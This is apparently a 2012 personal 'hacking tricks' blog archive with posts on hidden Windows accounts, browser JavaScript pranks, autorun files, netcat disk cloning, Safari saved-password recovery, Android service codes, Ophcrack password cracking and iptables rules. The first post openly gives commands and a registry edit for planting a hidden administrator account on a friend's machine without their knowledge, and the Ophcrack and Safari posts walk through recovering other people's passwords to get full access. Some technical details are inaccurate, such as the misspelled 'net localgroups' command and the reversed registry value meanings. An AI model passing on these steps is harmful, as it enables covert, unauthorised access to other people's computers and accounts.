Sunday 5 August 2012

Create a Hidden User in XP

Hey friends ,this post will help u in getting into ur friend's machine without his knowledge.
1. First of all u have to create a normal account via cmd (Command Prompt) :

         Start >Run >cmd >net user hidden /add

'hidden' is the username of the hidden account that u want to create. U can choose any.

2. If u want to grant that user "Administrative Rights", u can do by as follows :

       Start >Run >cmd >net localgroups Administrators hidden /add

Obviously who wants a less privileged account.

3. Here came the registry editing part. One of my favorite sport, as i love to tweak with windows registry.

      Start >Run >regedit
Goto following Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\
Winlogon\SpecialAccounts\UserList

Create the Value Data Type by right clicking in right pane.

Data Type: REG_DWORD [Dword Value] // Value Name: hidden AND Value Data: [0 = Account is Hidden / 1 = Enabled]
Exit Registry and Reboot

Voila !!!!! On welcome screen u wont be able to see the hidden account.

U can access it by pressing "Ctrl+Alt+Del" twice. In username write 'hidden' and press Enter.

Welcome to UR new Hidden Account :D

Sunday 22 July 2012

:D Browser trick that will make images dance :) :P


A Javascript trick that makes all the images on the site your on float and dance around. :)

//*****You can do this to ANY site with images******//

Directions:
Open your internet web browser, go to your prefered site you wish to do this trick on, Once there, Go to the address bar on top, Delete everything that's there, and copy and paste the code below into it, press enter and have fun. :]

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+ "px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+" px"}R++}setInterval('A()',5); void(0);




Screen Shaker Trick
Check out these funny trick.
• Copy and paste the java script code to the address bar of your
browser

javascript:function Shw(n) {if (self.moveBy) {for (i = 100; i > 0; i--){for (j = n; j > 0; j--){self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0);} } }} Shw(6)

2: Press enter and watch your window's "shaking it". You can change
the value of i if you wish :-)


NOTE: The above tricks is applicable for Mozilla n IE browsers.
Change the variables according to your wish n see the difference...

Friday 22 June 2012

How to change LOGO of Pendrive

Hi friend with this hack ,u will be able to change the default icon of ur pendrive to any icon u want.

For this u need to create a "autorun.inf" file in ur pendrive, and copy paste the contents as follows:

[AutoRun]
icon=icons\iconname.ico                                     <---------path to ur icon
label=Saurabh's PD                                            <---------name of ur PD
Shell\Option1\Command=Software\anything.exe <---------path to software to run after autorun

If u dont have .ico file and u want to change ur .jpg file to .ico .Link to this:
http://www.prodraw.net/favicon/generator.php

Enjoy with ur customized Pendrive...

Wednesday 13 June 2012

Cloning of Drives using Netcat


AIM : To clone server 1 disk to server 2



Server 1:
dd if=/dev/sda | nc 192.168.0.12 1234

Suppose Server 2's IP address in this example is 192.168.0.12 and listening on port 1234.

Note: /dev/sda is the disk to clone. Choose which disk u want to clone.

Server 2: (run this first)

nc -lp 1234 | dd of=/dev/sda

Note: U can view the progress of process by installing pipe viewer to see the progress bar.Then the format will be:

nc -lp 1234 | pv | dd of=/dev/sda


RESULT
: This will clone the disk from server 1 to server 2.

Link to download Netcat

Thursday 7 June 2012

How to see stored passwords in Safari Browser


Hi fellas today i m gonna teach u how to decode the stored password in Safari browser. Many of u think it will be easy to view the stored passwords like in Firefox and Google Chrome but friends let me remind u that Safari browser belongs to Apple which assures complete security. Here there is no option to view stored passwords, we have to decrypt them. The procedure is as follows:

1. We got to know Safari Stored Password file location

In Win 7

C:>users>username>AppData>Roaming>Apple>computer>preferences

In Win XP

C:>Documents and Settings>username>Application Data>Apple>computer>preferences

stores password in a file named "keychain.plist"

2. Apple by default provides a tool to decode the binary file "plutil.exe" , path to it:
C:\Program Files (x86)\Common Files\Apple\Apple Application Support

plutil.exe -convert xml1 -s -o C:\keychain.xml

"C:>users>username>AppData>Roaming>Apple>computer>preferences>keychain.plist"

Above is a single command to convert cryptic 'keychain.plist' file to easily readable 'keychain.xml' file.


3. Again the generated XML file doesnt contain password, it contains the encrypted password data along with the URL and user inf. It is encoded using BASE 64 algorithm.
Finally u have to use BASE64 decoder algo to get the original password.

NOTE: All salt generation algo and decryption functions are within the CFNetwork.dll file.

Easy Step:

U can do all this by downloading a free software "Safari Password Decrypter" to automatically recover stored passwords.

Saturday 26 May 2012

How to do multiple login in yahoo messenger


Many of u guys have more than 1 account on Yahoo, may be 1 official and other for friends and u wanted to be online on both of them simultaneously and get updated from both. And u have Yahoo messenger through which we can login to only 1 account.
Now there is no limitation my friends , u can login multiple number of ids simultaneously with my HACK..

Follow these steps :

1. Go to Start --> Run . Type regedit, then enter .
2.Navigate to "HKEY_CURRENT_USER\Software\Yahoo\pager" key.
3.On the right page , create a new Dword value by right-clicking and choose new Dword value.
4.Rename it as Plural.
5.Double click and assign a decimal value of 1.

Now close registry and restart yahoo messenger and try Multiple Login

Voila!! we can login with any number of ids :))
(U can see my screenshot attached)


Thursday 24 May 2012

Secret Android Codes

1. *#*#4636#*#*
This shows the following information about your phone and battery:
 
Phone information
Battery information
Battery history
Usage statistics


2. *#*#7780#*#*

This performs a factory data reset, and will remove the following:

Google account settings stored in your phone
System and application data and settings
Downloaded applications
It will NOT remove:

Current system software and bundled applications
SD card files e.g. photos, music files, etc.
PS: This one asks for a confirmation, so if you do get a chance to change your mind.



3. *2767*3855# (Hard Reset)

Don’t try this one unless you’re sure. This code is used for factory format, and will remove all files and settings including the internal memory storage. It will also reinstall the firmware.

PS: Once you give this code, there is no way to cancel the operation unless you remove the battery from the phone, and even then, you run the risk of bricking your phone.



4. *#*#34971539#*#*

This code is used to get information about the camera. It shows following 4 menus:

Update camera firmware in image (Don’t try this option)
Update camera firmware in SD card
Get camera firmware version
Get firmware update count
WARNING: Never use the first option otherwise your phone camera may stop working, and there is really no reason to update the camera firmware anyway


5. *#*#7594#*#*

This code will change the “End Call / Power” button action on your phone. By default, if you long press the button, it shows a screen asking you to select any option from Silent mode, Airplane mode and Power off.

You can change this action using this code. You can enable direct power off on this button so you don’t need to waste your time in selecting the option.
6. WLAN, GPS and Bluetooth Test Codes:

*#*#232339#*#* OR *#*#526#*#* OR *#*#528#*#* – WLAN test (Use “Menu” button to start various tests)



7. *#*#232338#*#* – Shows WiFi MAC address

8. *#*#1472365#*#* – GPS test

9. *#*#232331#*#* – Bluetooth test

10. Codes to get Firmware version information:

*#*#4986*2650468#*#* – PDA, Phone, H/W, RFCallDate

*#*#1234#*#* – PDA and Phone
   

Tuesday 22 May 2012

Unleashing the power of Android

Hi friends ,Toady I want to aware you all with the power of Samsung galaxy pop S5570 an Android phone.
The phone itself doesn't support a good processor. However if u haven't overclocked it then only u can say so.
The phone comes with a 600 MHz ARMv6 processor and Adreno 200 as GPU.
The phone has the ability to overclock upto 806 Mhz, all u need is to root it first.

Requirements:
1. Root access
2. No Frills Cpu Control (application from google market)

Now some of u guys are thinking what is rooting?
Basically rooting is a process of granting root priveledges to the OS and to make u understand more efficiently, the android OS is a kind of mini Linux OS which works on Linux kernel and Linux commands.
As we all know many of the commands needs SuperUser to run. Thats why to get the maximum utilisation from ur android one needs to be Superuser.

Disadvantages of rooting is that the warranty gets void. But seeing through hackers perspective we can unroot it also or can change its firmware to default.So no need to think of warranty. :)

So guys u have overclocked a 600 Mhz processor to 806 Mhz processor, directly a gain of 33% in performance.And dont worry i had done the same.See the screenshot attached.
Now u are smiling at ur friend who have bought a costlier phone than u but now the configuration is same as yours.

Comments are always welcome :)

Tuesday 15 May 2012

How to Crack passwords using OPHcrack...


1. Visit Ophcrack website.

2. Click on Download Live CD link. Choose according to your target system
     Ophcrack Version Choice - Windows 7/Vista or Windows XP

3. When the Live CD iso file is downloaded ,Burn it onto a blank CD.

4. Restart With the Ophcrack LiveCD Disc In Your CD/DVD Drive.

5. Change the Boot Options from BIOS settings by pressing DEL key or F2 in some computers. And choose to boot from CD/DVD drive.

6. Wait for Live CD to load and an OPHcrack menu will appear later on.

7. The next screen is the Ophcrack LiveCD software itself. Ophcrack will attempt to recover the passwords for all of the user accounts that it can find on your computer. This password cracking process is completely automated.

8. After Ophcrack recovers your password, write it down, remove the Ophcrack LiveCD disc from your optical drive and restart your computer. You don't need to exit the Ophcrack software - it won't harm your computer to power it off or restart it while it's running.

9. Logon to Windows With the Ophcrack LiveCD Recovered Password.

10. Yippieee you got the full access of that computer. :) :)

Friday 11 May 2012

Using IP Tables in Linux to Secure Yourself

Getting Invisible in LAN 



# iptables -A INPUT -p icmp -j DROP


Restricting by MAC address


# iptables -A INPUT -m mac --mac-source XX:XX:XX:XX:XX:XX -j DROP

This will drop all the packets coming from a source to your linux machine.

Routing packets from external sources to specific ports on specific internal machines


# iptables -t nat -A PREROUTING -i WLAN_INTERFACE -p tcp –-dport PORTNUMBERS -j DNAT -–to-destination DESTINATION_IP

When you need to route packets from external sources to specific ports on specific internal machines, this is what you want to do. This rule takes advantage of network address translation to route packets properly.

Rule to block furtive port scanning


# iptables -N port-scan
# iptables -A port-scan -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s -j RETURN
# iptables -A port-scan -j DROP

Note: No Scanner can scan u in a LAN if u had applied these rules. NOT EVEN NMAP can scan u.

Thanks Guys..Stay Protected..

Dont Forget to increase my likes and comments :)